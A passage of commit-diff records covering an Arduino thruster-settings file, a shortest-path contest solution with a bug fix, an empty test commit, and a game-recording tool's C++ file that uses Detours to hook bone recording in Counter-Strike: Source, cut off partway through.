{"text":"<commit_before>#include \"Device.h\"\n#include \"Settings.h\"\n#include <Wire.h>\n\nint Settings::capability_bitarray = 0;\nint Settings::smoothingIncriment = 40; \/\/How aggressive the throttle changes\nint Settings::deadZone_min = MIDPOINT;\nint Settings::deadZone_max = MIDPOINT;\nbool Settings::water_type = 0; \/\/Freshwater\n\n\nvoid Settings::device_setup(){\nWire.begin();\n}\n\nvoid Settings::device_loop(Command command){\n    if (command.cmp(\"reportSetting\")) {\n      Serial.print(F(\"*settings:\"));\n      Serial.print(F(\"smoothingIncriment|\"));\n      Serial.print(String(Settings::smoothingIncriment) + \",\");\n      Serial.print(F(\"deadZone_min|\"));\n      Serial.print(String(Settings::deadZone_min) + \",\");\n      Serial.print(F(\"deadZone_max|\"));\n      Serial.print(String(Settings::deadZone_max) + \";\");\n      Serial.print(F(\"water_type\"));\n      Serial.println(String(Settings::water_type) + \";\");\n\n    }\n    else if (command.cmp(\"rcap\")){ \/\/report capabilities\n      Serial.print(F(\"CAPA:\"));\n      Serial.print(capability_bitarray);\n      Serial.print(';');\n      scan_i2c();\n    }\n    else if (command.cmp(\"updateSetting\")) {\n      Settings::smoothingIncriment = command.args[1];\n      Settings::deadZone_min = command.args[2];\n      Settings::deadZone_max = command.args[3];\n      Settings::water_type = command.args[4];\n    }\n\n}\n\nvoid Settings::scan_i2c(){\n  byte error, address;\n  int nDevices;\n\n  Serial.println(F(\"log:Scanning...;\"));\n\n  nDevices = 0;\n  for(address = 1; address < 127; address++ )\n  {\n    \/\/ The i2c_scanner uses the return value of\n    \/\/ the Write.endTransmisstion to see if\n    \/\/ a device did acknowledge to the address.\n    Wire.beginTransmission(address);\n    error = Wire.endTransmission();\n\n    if (error == 0)\n    {\n      Serial.print(F(\"log:I2C device found at address 0x\"));\n      if (address<16)\n        Serial.print(\"0\");\n      Serial.print(address,HEX);\n      Serial.println(\"  !;\");\n\n      nDevices++;\n    }\n    else if (error==4)\n    {\n      Serial.print(F(\"log:Unknow error at address 0x\"));\n      if (address<16)\n        Serial.print(\"0\");\n      Serial.print(address,HEX);\n      Serial.println(\";\");\n    }\n  }\n  if (nDevices == 0)\n    Serial.println(F(\"log:No I2C devices found\\n;\"));\n  else\n    Serial.println(F(\"log:done\\n;\"));\n\n  delay(5000);           \/\/ wait 5 seconds for next scan\n\n}\n<commit_msg>Hardcoded deadzone for thrusters<commit_after>#include \"Device.h\"\n#include \"Settings.h\"\n#include <Wire.h>\n\nint Settings::capability_bitarray = 0;\nint Settings::smoothingIncriment = 40; \/\/How aggressive the throttle changes\nint Settings::deadZone_min = 25;\nint Settings::deadZone_max = 25;\nbool Settings::water_type = 0; \/\/Freshwater\n\n\nvoid Settings::device_setup(){\nWire.begin();\n}\n\nvoid Settings::device_loop(Command command){\n    if (command.cmp(\"reportSetting\")) {\n      Serial.print(F(\"*settings:\"));\n      Serial.print(F(\"smoothingIncriment|\"));\n      Serial.print(String(Settings::smoothingIncriment) + \",\");\n      Serial.print(F(\"deadZone_min|\"));\n      Serial.print(String(Settings::deadZone_min) + \",\");\n      Serial.print(F(\"deadZone_max|\"));\n      Serial.print(String(Settings::deadZone_max) + \";\");\n      Serial.print(F(\"water_type\"));\n      Serial.println(String(Settings::water_type) + \";\");\n\n    }\n    else if (command.cmp(\"rcap\")){ \/\/report capabilities\n      Serial.print(F(\"CAPA:\"));\n      Serial.print(capability_bitarray);\n      Serial.print(';');\n      scan_i2c();\n    }\n    else if (command.cmp(\"updateSetting\")) {\n      \/\/TODO: Need to update the motors with new deadZone setting. Probably move\n      \/\/deadzone to the thruster resposibilitiy\n      Settings::smoothingIncriment = command.args[1];\n      Settings::deadZone_min = command.args[2];\n      Settings::deadZone_max = command.args[3];\n      Settings::water_type = command.args[4];\n    }\n\n}\n\nvoid Settings::scan_i2c(){\n  byte error, address;\n  int nDevices;\n\n  Serial.println(F(\"log:Scanning...;\"));\n\n  nDevices = 0;\n  for(address = 1; address < 127; address++ )\n  {\n    \/\/ The i2c_scanner uses the return value of\n    \/\/ the Write.endTransmisstion to see if\n    \/\/ a device did acknowledge to the address.\n    Wire.beginTransmission(address);\n    error = Wire.endTransmission();\n\n    if (error == 0)\n    {\n      Serial.print(F(\"log:I2C device found at address 0x\"));\n      if (address<16)\n        Serial.print(\"0\");\n      Serial.print(address,HEX);\n      Serial.println(\"  !;\");\n\n      nDevices++;\n    }\n    else if (error==4)\n    {\n      Serial.print(F(\"log:Unknow error at address 0x\"));\n      if (address<16)\n        Serial.print(\"0\");\n      Serial.print(address,HEX);\n      Serial.println(\";\");\n    }\n  }\n  if (nDevices == 0)\n    Serial.println(F(\"log:No I2C devices found\\n;\"));\n  else\n    Serial.println(F(\"log:done\\n;\"));\n\n  delay(5000);           \/\/ wait 5 seconds for next scan\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * File    : D.cpp\n * Author  : Kazune Takahashi\n * Created : 2018-7-7 21:58:13\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip>   \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(19920725));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\ntypedef tuple<ll, int> P;\n\nint N, M;\nint S[2];\nvector<P> V[2][100010];\npriority_queue<P, vector<P>, greater<P>> Q[2];\nll dist[2][100010];\nll ans[100010];\n\nint main()\n{\n  cin >> N >> M >> S[0] >> S[1];\n  S[0]--;\n  S[1]--;\n  for (auto i = 0; i < M; i++)\n  {\n    int u, v, a, b;\n    cin >> u >> v >> a >> b;\n    u--;\n    v--;\n    V[0][u].push_back(P(a, v));\n    V[0][v].push_back(P(a, u));\n    V[1][v].push_back(P(b, u));\n    V[1][u].push_back(P(b, v));\n  }\n  fill(&dist[0][0], &dist[0][0] + 2 * 100010, -1);\n  for (auto k = 0; k < 2; k++)\n  {\n    Q[k].push(P(0, S[k]));\n    while (!Q[k].empty())\n    {\n      ll d = get<0>(Q[k].top());\n      int now = get<1>(Q[k].top());\n      cerr << \"now = \" << now << endl;\n      Q[k].pop();\n      if (dist[k][now] == -1)\n      {\n        dist[k][now] = d;\n        for (auto x : V[2][now])\n        {\n          ll new_d = get<0>(x);\n          int dst = get<1>(x);\n          if (dist[k][dst] == -1)\n          {\n            Q[k].push(P(d + new_d, dst));\n          }\n        }\n      }\n    }\n  }\n  for (auto i = 0; i < N; i++)\n  {\n    ans[i] = dist[0][i] + dist[1][i];\n    cerr << \"dist[0][\" << i << \"] = \" << dist[0][i] << endl;\n    cerr << \"dist[1][\" << i << \"] = \" << dist[1][i] << endl;\n  }\n  for (auto i = N - 1; i >= 1; i--)\n  {\n    ans[i - 1] = min(ans[i - 1], ans[i]);\n  }\n  ll X = 1000000000000000;\n  for (auto i = 0; i < N; i++)\n  {\n    cout << X - ans[i] << endl;\n  }\n}<commit_msg>submit D.cpp to 'D - Saving Snuuk' (soundhound2018-summer-qual) [C++14 (GCC 5.4.1)]<commit_after>\/**\n * File    : D.cpp\n * Author  : Kazune Takahashi\n * Created : 2018-7-7 21:58:13\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip>   \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(19920725));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\ntypedef tuple<ll, int> P;\n\nint N, M;\nint S[2];\nvector<P> V[2][100010];\npriority_queue<P, vector<P>, greater<P>> Q[2];\nll dist[2][100010];\nll ans[100010];\n\nint main()\n{\n  cin >> N >> M >> S[0] >> S[1];\n  S[0]--;\n  S[1]--;\n  for (auto i = 0; i < M; i++)\n  {\n    int u, v, a, b;\n    cin >> u >> v >> a >> b;\n    u--;\n    v--;\n    V[0][u].push_back(P(a, v));\n    V[0][v].push_back(P(a, u));\n    V[1][v].push_back(P(b, u));\n    V[1][u].push_back(P(b, v));\n  }\n  fill(&dist[0][0], &dist[0][0] + 2 * 100010, -1);\n  for (auto k = 0; k < 2; k++)\n  {\n    Q[k].push(P(0, S[k]));\n    while (!Q[k].empty())\n    {\n      ll d = get<0>(Q[k].top());\n      int now = get<1>(Q[k].top());\n      Q[k].pop();\n      if (dist[k][now] == -1)\n      {\n        dist[k][now] = d;\n        for (auto x : V[k][now])\n        {\n          ll new_d = get<0>(x);\n          int dst = get<1>(x);\n          if (dist[k][dst] == -1)\n          {\n            Q[k].push(P(d + new_d, dst));\n          }\n        }\n      }\n    }\n  }\n  for (auto i = 0; i < N; i++)\n  {\n    ans[i] = dist[0][i] + dist[1][i];\n    \/\/cerr << \"dist[0][\" << i << \"] = \" << dist[0][i] << endl;\n    \/\/cerr << \"dist[1][\" << i << \"] = \" << dist[1][i] << endl;\n  }\n  for (auto i = N - 1; i >= 1; i--)\n  {\n    ans[i - 1] = min(ans[i - 1], ans[i]);\n  }\n  ll X = 1000000000000000;\n  for (auto i = 0; i < N; i++)\n  {\n    cout << X - ans[i] << endl;\n  }\n}<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix test<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"stdafx.h\"\r\n\r\n#include \"ClientToolsCssV34.h\"\r\n\r\n#include \"addresses.h\"\r\n#include \"RenderView.h\"\r\n\r\n#include <cssV34\/sdk_src\/public\/tier1\/KeyValues.h>\r\n#include <cssV34\/sdk_src\/public\/tools\/bonelist.h>\r\n\r\n#include <shared\/StringTools.h>\r\n\r\n#include <Windows.h>\r\n#include <deps\/release\/Detours\/src\/detours.h>\r\n\r\nusing namespace SOURCESDK::CSSV34;\r\n\r\n\r\nSOURCESDK::CStudioHdr * g_cssv34_hdr = nullptr;\r\nstd::vector<SOURCESDK::matrix3x4_t> g_cssv34_BoneState;\r\n\r\ntypedef void *  (__fastcall * cssv34_C_BaseAnimating_RecordBones_t)(void * This, void* Edx, SOURCESDK::CStudioHdr *hdr, SOURCESDK::matrix3x4_t *pBoneState );\r\ncssv34_C_BaseAnimating_RecordBones_t True_cssv34_C_BaseAnimating_RecordBones = nullptr;\r\nvoid * __fastcall My_cssv34_C_BaseAnimating_RecordBones(void * This, void* Edx, SOURCESDK::CStudioHdr *hdr, SOURCESDK::matrix3x4_t *pBoneState ) {\r\n\tvoid * result = True_cssv34_C_BaseAnimating_RecordBones(This, Edx, hdr, pBoneState);\r\n\tg_cssv34_hdr =  hdr;\r\n\tif(g_cssv34_BoneState.size() < hdr->numbones()) g_cssv34_BoneState.resize(hdr->numbones());\r\n\tmemcpy(&(g_cssv34_BoneState[0]),pBoneState,sizeof(SOURCESDK::matrix3x4_t) * hdr->numbones());\r\n\treturn result;\r\n}\r\n\r\nbool cssv34_C_BaseAnimating_RecordBones_Install(void)\r\n{\r\n\tstatic bool firstResult = false;\r\n\tstatic bool firstRun = true;\r\n\tif (!firstRun) return firstResult;\r\n\tfirstRun = false;\r\n\r\n\tif (AFXADDR_GET(cssv34_client_C_BaseAnimating_RecordBones))\r\n\t{\r\n\t\tLONG error = NO_ERROR;\r\n\r\n\t\tTrue_cssv34_C_BaseAnimating_RecordBones = (cssv34_C_BaseAnimating_RecordBones_t)AFXADDR_GET(cssv34_client_C_BaseAnimating_RecordBones);\r\n\r\n\t\tDetourTransactionBegin();\r\n\t\tDetourUpdateThread(GetCurrentThread());\r\n\t\tDetourAttach(&(PVOID&)True_cssv34_C_BaseAnimating_RecordBones, My_cssv34_C_BaseAnimating_RecordBones);\r\n\t\terror = DetourTransactionCommit();\r\n\r\n\t\tfirstResult = NO_ERROR == error;\r\n\t}\r\n\r\n\treturn firstResult;\r\n}\r\n\r\n\r\nCClientToolsCssV34 * CClientToolsCssV34::m_Instance = 0;\r\n\r\nCClientToolsCssV34::CClientToolsCssV34(SOURCESDK::CSSV34::IClientTools * clientTools)\r\n\t: CClientTools()\r\n\t, m_ClientTools(clientTools)\r\n{\r\n\tm_Instance = this;\r\n}\r\n\r\nCClientToolsCssV34::~CClientToolsCssV34()\r\n{\r\n\tm_Instance = 0;\r\n}\r\n\r\nvoid CClientToolsCssV34::OnPostToolMessage(void * hEntity, void * msg)\r\n{\r\n\tCClientTools::OnPostToolMessage(hEntity, msg);\r\n\r\n\tOnPostToolMessageCssV34(reinterpret_cast<SOURCESDK::CSSV34::HTOOLHANDLE>(hEntity), reinterpret_cast<SOURCESDK::CSSV34::KeyValues *>(msg));\r\n}\r\n\r\nvoid CClientToolsCssV34::OnPostToolMessageCssV34(SOURCESDK::CSSV34::HTOOLHANDLE hEntity, SOURCESDK::CSSV34::KeyValues * msg)\r\n{\r\n\tif (!(hEntity != SOURCESDK::CSSV34::HTOOLHANDLE_INVALID && msg))\r\n\t\treturn;\r\n\r\n\tchar const * msgName = msg->GetName();\r\n\r\n\tif (!strcmp(\"entity_state\", msgName))\r\n\t{\r\n\t\tif (GetRecording())\r\n\t\t{\r\n\t\t\tchar const * className = m_ClientTools->GetClassname(hEntity);\r\n\t\t\tif (!className) className = \"[NULL]\";\r\n\r\n\t\t\tif (0 != Debug_get())\r\n\t\t\t{\r\n\t\t\t\tif (2 <= Debug_get())\r\n\t\t\t\t{\r\n\t\t\t\t\tTier0_Msg(\"-- %s (%i) --\\n\", className, hEntity);\r\n\t\t\t\t\tfor (SOURCESDK::CSSV34::KeyValues * subKey = msg->GetFirstSubKey(); 0 != subKey; subKey = subKey->GetNextKey())\r\n\t\t\t\t\t\tTier0_Msg(\"%s,\\n\", subKey->GetName());\r\n\t\t\t\t\tTier0_Msg(\"----\\n\");\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif (SOURCESDK::CSSV34::BaseEntityRecordingState_t * pBaseEntityRs = (SOURCESDK::CSSV34::BaseEntityRecordingState_t *)(msg->GetPtr(\"baseentity\")))\r\n\t\t\t\t{\r\n\t\t\t\t\tTier0_Msg(\"%i: %s: %s\\n\", hEntity, className, pBaseEntityRs->m_pModelName);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tbool isPlayer =\r\n\t\t\t\tfalse\r\n\t\t\t\t|| className && (\r\n\t\t\t\t\t!strcmp(className, \"class C_CSPlayer\")\r\n\t\t\t\t\t|| !strcmp(className, \"class C_CSRagdoll\")\r\n\t\t\t\t\t)\r\n\t\t\t\t;\r\n\r\n\t\t\tbool isWeapon =\r\n\t\t\t\tfalse\r\n\t\t\t\t|| className && (\r\n\t\t\t\t\tStringBeginsWith(className, \"weapon_\")\r\n\t\t\t\t\t|| !strcmp(className, \"class C_BreakableProp\")\r\n\t\t\t\t\t)\r\n\t\t\t\t;\r\n\r\n\t\t\tbool isProjectile =\r\n\t\t\t\tclassName && !strcmp(className, \"grenade\")\r\n\t\t\t\t;\r\n\r\n\t\t\tbool isViewModel =\r\n\t\t\t\tclassName && (\r\n\t\t\t\t\t!strcmp(className, \"viewmodel\")\r\n\t\t\t\t\t)\r\n\t\t\t\t;\r\n\r\n\t\t\tif (false\r\n\t\t\t\t|| RecordPlayers_get() && isPlayer\r\n\t\t\t\t|| RecordWeapons_get() && isWeapon\r\n\t\t\t\t|| RecordProjectiles_get() && isProjectile\r\n\t\t\t\t|| RecordViewModels_get() && isViewModel\r\n\t\t\t\t)\r\n\t\t\t{\r\n\t\t\t\tSOURCESDK::CSSV34::BaseEntityRecordingState_t * pBaseEntityRs = (SOURCESDK::CSSV34::BaseEntityRecordingState_t *)(msg->GetPtr(\"baseentity\"));\r\n\r\n\t\t\t\tif (!RecordInvisible_get() && !(pBaseEntityRs && pBaseEntityRs->m_bVisible))\r\n\t\t\t\t{\r\n\t\t\t\t\t\/\/ Entity not visible, avoid trash data:\r\n\r\n\t\t\t\t\tstd::map<SOURCESDK::CSSV34::HTOOLHANDLE, bool>::iterator it = m_TrackedHandles.find(hEntity);\r\n\t\t\t\t\tif (it != m_TrackedHandles.end() && it->second)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tMarkHidden((int)(it->first));\r\n\r\n\t\t\t\t\t\tit->second = false;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tbool wasVisible = false;\r\n\t\t\t\tbool hasParentTransform = false;\r\n\t\t\t\tSOURCESDK::matrix3x4_t parentTransform;\t\t\t\t\r\n\r\n\t\t\t\tWriteDictionary(\"entity_state\");\r\n\t\t\t\tWrite((int)hEntity);\r\n\t\t\t\t{\r\n\t\t\t\t\tSOURCESDK::CSSV34::BaseEntityRecordingState_t * pBaseEntityRs = (SOURCESDK::CSSV34::BaseEntityRecordingState_t *)(msg->GetPtr(\"baseentity\"));\r\n\t\t\t\t\tif (pBaseEntityRs)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tWriteDictionary(\"baseentity\");\r\n\t\t\t\t\t\t\/\/Write((float)pBaseEntityRs->m_flTime);\r\n\t\t\t\t\t\tWriteDictionary(pBaseEntityRs->m_pModelName);\r\n\t\t\t\t\t\tWrite((bool)wasVisible);\r\n\r\n\t\t\t\t\t\thasParentTransform = true;\r\n\t\t\t\t\t\tSOURCESDK::AngleMatrix(pBaseEntityRs->m_vecRenderAngles, pBaseEntityRs->m_vecRenderOrigin, parentTransform);\r\n\t\t\t\t\t\tWriteMatrix3x4(parentTransform);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tm_TrackedHandles[hEntity] = wasVisible;\r\n\r\n\t\t\t\t{\r\n\t\t\t\t\tSOURCESDK::CSSV34::BaseAnimatingRecordingState_t * pBaseAnimatingRs = (SOURCESDK::CSSV34::BaseAnimatingRecordingState_t *)(msg->GetPtr(\"baseanimating\"));\r\n\t\t\t\t\tif (pBaseAnimatingRs && hasParentTransform)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tWriteDictionary(\"baseanimating\");\r\n\t\t\t\t\t\t\/\/Write((int)pBaseAnimatingRs->m_nSkin);\r\n\t\t\t\t\t\t\/\/Write((int)pBaseAnimatingRs->m_nBody);\r\n\t\t\t\t\t\t\/\/Write((int)pBaseAnimatingRs->m_nSequence);\r\n\t\t\t\t\t\tWriteBones(g_cssv34_hdr, &(g_cssv34_BoneState[0]), parentTransform);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tWriteDictionary(\"\/\");\r\n\r\n\t\t\t\tbool viewModel = 0 != msg->GetInt(\"viewmodel\");\r\n\r\n\t\t\t\tWrite((bool)viewModel);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse if (!strcmp(\"deleted\", msgName))\r\n\t{\r\n\t\tstd::map<SOURCESDK::CSSV34::HTOOLHANDLE, bool>::iterator it = m_TrackedHandles.find(hEntity);\r\n\t\tif (it != m_TrackedHandles.end())\r\n\t\t{\r\n\t\t\tif (GetRecording())\r\n\t\t\t{\r\n\t\t\t\tWriteDictionary(\"deleted\");\r\n\t\t\t\tWrite((int)(it->first));\r\n\t\t\t}\r\n\r\n\t\t\tm_TrackedHandles.erase(it);\r\n\t\t}\r\n\t}\r\n\telse if (!strcmp(\"created\", msgName))\r\n\t{\r\n\t\tif (0 != Debug_get() && hEntity != SOURCESDK::CSGO::HTOOLHANDLE_INVALID)\r\n\t\t{\r\n\t\t\tconst char * className = m_ClientTools->GetClassname(hEntity);\r\n\t\t\tif (!className) className = \"[NULL]\";\r\n\r\n\t\t\tTier0_Msg(\"%i n\/a: %s\\n\", hEntity, className);\r\n\t\t}\r\n\r\n\t\tif (hEntity != SOURCESDK::CSGO::HTOOLHANDLE_INVALID)\/\/ && m_ClientTools->ShouldRecord(hEntity))\r\n\t\t{\r\n\t\t\tm_TrackedHandles[hEntity] = false;\r\n\t\t\tif(GetRecording()) m_ClientTools->SetRecording(hEntity, true);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid CClientToolsCssV34::OnBeforeFrameRenderStart(void)\r\n{\r\n\tCClientTools::OnBeforeFrameRenderStart();\r\n\r\n}\r\n\r\nvoid CClientToolsCssV34::OnAfterFrameRenderEnd(void)\r\n{\r\n\r\n\tCClientTools::OnAfterFrameRenderEnd();\r\n}\r\n\r\nvoid CClientToolsCssV34::EnableRecordingMode_set(bool value) {\r\n\tm_ClientTools->EnableRecordingMode(value);\r\n}\r\n\r\nbool CClientToolsCssV34::EnableRecordingMode_get() {\r\n\treturn m_ClientTools->IsInRecordingMode();\r\n}\r\n\r\nvoid CClientToolsCssV34::StartRecording(wchar_t const * fileName)\r\n{\r\n\tCClientTools::StartRecording(fileName);\r\n\r\n\tif (GetRecording())\r\n\t{\r\n\t\tif(!cssv34_C_BaseAnimating_RecordBones_Install())\r\n\t\t{\r\n\t\t\tTier0_Warning(\"AFX: Failed to install IClientRenderable::SetupBones hook.\\n\");\r\n\t\t}\r\n\r\n\t\tfor (std::map<SOURCESDK::CSSV34::HTOOLHANDLE, bool>::iterator it = m_TrackedHandles.begin(); it != m_TrackedHandles.end(); ++it)\r\n\t\t{\r\n\t\t\tm_ClientTools->SetRecording(it->first, true);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid CClientToolsCssV34::EndRecording()\r\n{\r\n\tif (GetRecording())\r\n\t{\r\n\t\tfor (std::map<SOURCESDK::CSSV34::HTOOLHANDLE, bool>::iterator it = m_TrackedHandles.begin(); it != m_TrackedHandles.end(); ++it)\r\n\t\t{\r\n\t\t\tm_ClientTools->SetRecording(it->first, false);\r\n\t\t}\r\n\t}\r\n\r\n\tCClientTools::EndRecording();\r\n}\r\n\r\nvoid CClientToolsCssV34::Write(SOURCESDK::CSSV34::CBoneList const * value)\r\n{\r\n\tWrite((int)value->m_nBones);\r\n\r\n\tfor (int i = 0; i < value->m_nBones; ++i)\r\n\t{\r\n\t\tWrite(value->m_vecPos[i]);\r\n\t\tWrite(value->m_quatRot[i]);\r\n\t}\r\n}\r\n<commit_msg>Fix CSSV34 AGRv6 RecordBones hook<commit_after>#include \"stdafx.h\"\r\n\r\n#include \"ClientToolsCssV34.h\"\r\n\r\n#include \"addresses.h\"\r\n#include \"RenderView.h\"\r\n\r\n#include <cssV34\/sdk_src\/public\/tier1\/KeyValues.h>\r\n#include <cssV34\/sdk_src\/public\/tools\/bonelist.h>\r\n\r\n#include <shared\/StringTools.h>\r\n\r\n#include <Windows.h>\r\n#include <deps\/release\/Detours\/src\/detours.h>\r\n\r\nusing namespace SOURCESDK::CSSV34;\r\n\r\n\r\nSOURCESDK::CStudioHdr * g_cssv34_hdr = nullptr;\r\nstd::vector<SOURCESDK::matrix3x4_t> g_cssv34_BoneState;\r\n\r\ntypedef void *  (__fastcall * cssv34_C_BaseAnimating_RecordBones_t)(SOURCESDK::CStudioHdr *hdr, void* Edx, SOURCESDK::matrix3x4_t *pBoneState );\r\ncssv34_C_BaseAnimating_RecordBones_t True_cssv34_C_BaseAnimating_RecordBones = nullptr;\r\nvoid * __fastcall My_cssv34_C_BaseAnimating_RecordBones(SOURCESDK::CStudioHdr *hdr, void* Edx, SOURCESDK::matrix3x4_t *pBoneState ) {\r\n\tvoid * result = True_cssv34_C_BaseAnimating_RecordBones(hdr, Edx, pBoneState);\r\n\tg_cssv34_hdr =  hdr;\r\n\tif(g_cssv34_BoneState.size() < hdr->numbones()) g_cssv34_BoneState.resize(hdr->numbones());\r\n\tmemcpy(&(g_cssv34_BoneState[0]),pBoneState,sizeof(SOURCESDK::matrix3x4_t) * hdr->numbones());\r\n\treturn result;\r\n}\r\n\r\nbool cssv34_C_BaseAnimating_RecordBones_Install(void)\r\n{\r\n\tstatic bool firstResult = false;\r\n\tstatic bool firstRun = true;\r\n\tif (!firstRun) return firstResult;\r\n\tfirstRun = false;\r\n\r\n\tif (AFXADDR_GET(cssv34_client_C_BaseAnimating_RecordBones))\r\n\t{\r\n\t\tLONG error = NO_ERROR;\r\n\r\n\t\tTrue_cssv34_C_BaseAnimating_RecordBones = (cssv34_C_BaseAnimating_RecordBones_t)AFXADDR_GET(cssv34_client_C_BaseAnimating_RecordBones);\r\n\r\n\t\tDetourTransactionBegin();\r\n\t\tDetourUpdateThread(GetCurrentThread());\r\n\t\tDetourAttach(&(PVOID&)True_cssv34_C_BaseAnimating_RecordBones, My_cssv34_C_BaseAnimating_RecordBones);\r\n\t\terror = DetourTransactionCommit();\r\n\r\n\t\tfirstResult = NO_ERROR == error;\r\n\t}\r\n\r\n\treturn firstResult;\r\n}\r\n\r\n\r\nCClientToolsCssV34 * CClientToolsCssV34::m_Instance = 0;\r\n\r\nCClientToolsCssV34::CClientToolsCssV34(SOURCESDK::CSSV34::IClientTools * clientTools)\r\n\t: CClientTools()\r\n\t, m_ClientTools(clientTools)\r\n{\r\n\tm_Instance = this;\r\n}\r\n\r\nCClientToolsCssV34::~CClientToolsCssV34()\r\n{\r\n\tm_Instance = 0;\r\n}\r\n\r\nvoid CClientToolsCssV34::OnPostToolMessage(void * hEntity, void * msg)\r\n{\r\n\tCClientTools::OnPostToolMessage(hEntity, msg);\r\n\r\n\tOnPostToolMessageCssV34(reinterpret_cast<SOURCESDK::CSSV34::HTOOLHANDLE>(hEntity), reinterpret_cast<SOURCESDK::CSSV34::KeyValues *>(msg));\r\n}\r\n\r\nvoid CClientToolsCssV34::OnPostToolMessageCssV34(SOURCESDK::CSSV34::HTOOLHANDLE hEntity, SOURCESDK::CSSV34::KeyValues * msg)\r\n{\r\n\tif (!(hEntity != SOURCESDK::CSSV34::HTOOLHANDLE_INVALID && msg))\r\n\t\treturn;\r\n\r\n\tchar const * msgName = msg->GetName();\r\n\r\n\tif (!strcmp(\"entity_state\", msgName))\r\n\t{\r\n\t\tif (GetRecording())\r\n\t\t{\r\n\t\t\tchar const * className = m_ClientTools->GetClassname(hEntity);\r\n\t\t\tif (!className) className = \"[NULL]\";\r\n\r\n\t\t\tif (0 != Debug_get())\r\n\t\t\t{\r\n\t\t\t\tif (2 <= Debug_get())\r\n\t\t\t\t{\r\n\t\t\t\t\tTier0_Msg(\"-- %s (%i) --\\n\", className, hEntity);\r\n\t\t\t\t\tfor (SOURCESDK::CSSV34::KeyValues * subKey = msg->GetFirstSubKey(); 0 != subKey; subKey = subKey->GetNextKey())\r\n\t\t\t\t\t\tTier0_Msg(\"%s,\\n\", subKey->GetName());\r\n\t\t\t\t\tTier0_Msg(\"----\\n\");\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif (SOURCESDK::CSSV34::BaseEntityRecordingState_t * pBaseEntityRs = (SOURCESDK::CSSV34::BaseEntityRecordingState_t *)(msg->GetPtr(\"baseentity\")))\r\n\t\t\t\t{\r\n\t\t\t\t\tTier0_Msg(\"%i: %s: %s\\n\", hEntity, className, pBaseEntityRs->m_pModelName);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tbool isPlayer =\r\n\t\t\t\tfalse\r\n\t\t\t\t|| className && (\r\n\t\t\t\t\t!strcmp(className, \"class C_CSPlayer\")\r\n\t\t\t\t\t|| !strcmp(className, \"class C_CSRagdoll\")\r\n\t\t\t\t\t)\r\n\t\t\t\t;\r\n\r\n\t\t\tbool isWeapon =\r\n\t\t\t\tfalse\r\n\t\t\t\t|| className && (\r\n\t\t\t\t\tStringBeginsWith(className, \"weapon_\")\r\n\t\t\t\t\t|| !strcmp(className, \"class C_BreakableProp\")\r\n\t\t\t\t\t)\r\n\t\t\t\t;\r\n\r\n\t\t\tbool isProjectile =\r\n\t\t\t\tclassName && !strcmp(className, \"grenade\")\r\n\t\t\t\t;\r\n\r\n\t\t\tbool isViewModel =\r\n\t\t\t\tclassName && (\r\n\t\t\t\t\t!strcmp(className, \"viewmodel\")\r\n\t\t\t\t\t)\r\n\t\t\t\t;\r\n\r\n\t\t\tif (false\r\n\t\t\t\t|| RecordPlayers_get() && isPlayer\r\n\t\t\t\t|| RecordWeapons_get() && isWeapon\r\n\t\t\t\t|| RecordProjectiles_get() && isProjectile\r\n\t\t\t\t|| RecordViewModels_get() && 